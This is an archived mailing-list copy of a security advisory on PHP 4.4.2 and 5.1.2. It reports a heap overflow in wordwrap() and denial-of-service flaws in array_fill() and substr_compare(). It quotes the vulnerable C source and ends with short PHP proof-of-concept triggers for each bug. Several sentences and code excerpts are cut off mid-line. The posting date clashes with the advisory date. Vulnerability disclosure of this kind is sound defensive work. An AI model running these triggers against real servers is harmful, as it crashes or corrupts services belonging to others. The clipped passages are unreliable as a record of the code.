Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
Multiple PHP4/PHP5 vulnerabilities

From: infocus (infocusinfigo.hr)
Date: Sat Nov 12 2005 - 09:44:46 CST

     INFIGO IS Security Advisory #ADV-2006-04-02

Title: Multiple PHP4/PHP5 vulnerabilities
Advisory ID: INFIGO-2006-04-02
Date: 2006-04-24
Advisory URL: http://www.infigo.hr/en/in_focus/advisories/INFIGO-2006-04-02
Impact: Remote code execution and DoS
Risk Level: Medium
Vulnerability Type: Remote and local
Vendors Status: Vendor contacted several times, no official response.
Vendor contacted on 2nd Mar 2006
Vendor contacted on 5th Mar 2006
Vendor contacted on 7th Mar 2006
Vendor contacted on 8th Mar 2006
Vendor contacted on 4th Apr 2006

==[ Overview

PHP is widely-used general-purpose scripting language which is especially
for Web development and can be embedded into HTML. For more information,

==[ Vulnerabilities

Code audit of the PHP discovered more than 20 vulnerabilities in PHP4 and
Most of them were reported by third parties and fixed before publication of
advisory. However, several vulnerabilities are still present in the latest

i. PHP4/PHP5 wordwrap() buffer overflow

Function wordwrap() wraps a string to the given number of characters using a
string break character. There is a buffer overflow (heap) vulnerability in
the PHP wordwrap() caused by an integer miscalculation if long strings are
passed to the wordwrap() function. With a proper string size, it is
possible to allocate a small heap buffer that will be overflowed in the
memcpy() function. There are several different ways to make the overflow,
and one of them will be described here.

In [1] or [2], integer 'alloced' is calculated from user input (text and
breakchar) strings length. It is possible to set long strings (about 1 MB)
that will wrap around in multiplication and result in small positive integer
that will be used in [3] for memory allocation. In [4], user input is copied
to the newly allocated buffer 'newtext' that is too short, and will be
overflowed in memcpy(). Copy size 'current' will contain string length of
the user supplied string 'text'.

Vulnerable code php-4.4.2/ext/standard/string.c:
        const char *text, *breakchar = "\n";
        char *newtext;
        int textlen, breakcharlen = 1, newtextlen, alloced, chk;
        long current = 0, laststart = 0, lastspace = 0;
        long linelength = 75;
        zend_bool docut = 0;
                if (linelength > 0) {
                        chk = (int)(textlen/linelength + 1);
[1] alloced = textlen + chk * breakcharlen + 1;
                } else {
                        chk = textlen;
[2] alloced = textlen * (breakcharlen + 1) + 1;
                if (alloced <= 0) {
[3] newtext = emalloc(alloced);

                if (laststart != current) {
[4] memcpy(newtext+newtextlen, text+laststart,
                        newtextlen += current - laststart;

If memory_limit value is high, it is also possible to cause memory DoS

ii. PHP4/PHP5 array_fill() DoS condition

Function array_fill() fills an array with 'num' entries with the value of
the 'value' parameter, keys starting at the 'start_index' parameter. It is
possible to set a large 'num' value (counter for while() loop) that will
consume whole system memory in a few seconds, and make system unusable. It
is important to notice that large memory consumption is possible only on
systems that have high value of 'memory_limit' set in php.ini.

Vulnerable code php-4.4.2/ext/standard/array.c:
        zval **start_key, **num, **val, *newval;
        long i;
        i = Z_LVAL_PP(num) - 1;
        if (i < 0) {
                php_error_docref(NULL TSRMLS_CC, E_WARNING, "Number of
elements must be positive");

        newval = *val;
        while (i--) {
#ifndef ZEND_ENGINE_2
                if (newval->refcount >= 62000) {
                        *newval = **val;
                        newval->refcount = 0;
&newval, sizeof(zval *), NULL);

iii. PHP5 substr_compare() DoS condition

This function is used for a binary safe case insensitive comparison of 2
strings from an 'offset', up to the 'length' characters. Lack of sanity
check in the function substr_compare() will cause memory access violation
exception if 'length' parameter is set to the value that is out of memory
bounds, and it is later used in zend_binary_strncmp() and

Vulnerable code php-5.1.2/ext/standard/string.c:
        int s1_len, s2_len;
        long offset, len=0;
        zend_bool cs=0;
        cmp_len = (uint) (len ? len : MAX(s2_len, (s1_len - offset)));
        if (!cs) {
                RETURN_LONG(zend_binary_strncmp(s1 + offset, (s1_len -
offset), s2, s2_len, cmp_len));
        } else {
                RETURN_LONG(zend_binary_strncasecmp(s1 + offset, (s1_len -
offset), s2, s2_len, cmp_len));

==[ Affected Version

Latest PHP4 (4.4.2) and PHP5 (5.1.2).

==[ Fix

No fix is available after more than 45 days from initial vendor

==[ PoC Exploit

i. wordwrap()
$a = str_repeat ("A",438013);
$b = str_repeat ("B",951140);
wordwrap ($a,0,$b,0);

ii. array_fill()
<?array_fill (1,123456789,"Infigo-IS");?>

iii. substr_compare()
<?substr_compare ("A","A",12345678);?>

==[ Credits

Vulnerabilities discovered by Leon Juranic <leon.juranicinfigo.hr>.

==[ INFIGO IS Security Contact


WWW : http://www.infigo.hr
E-mail : infocusinfigo.hr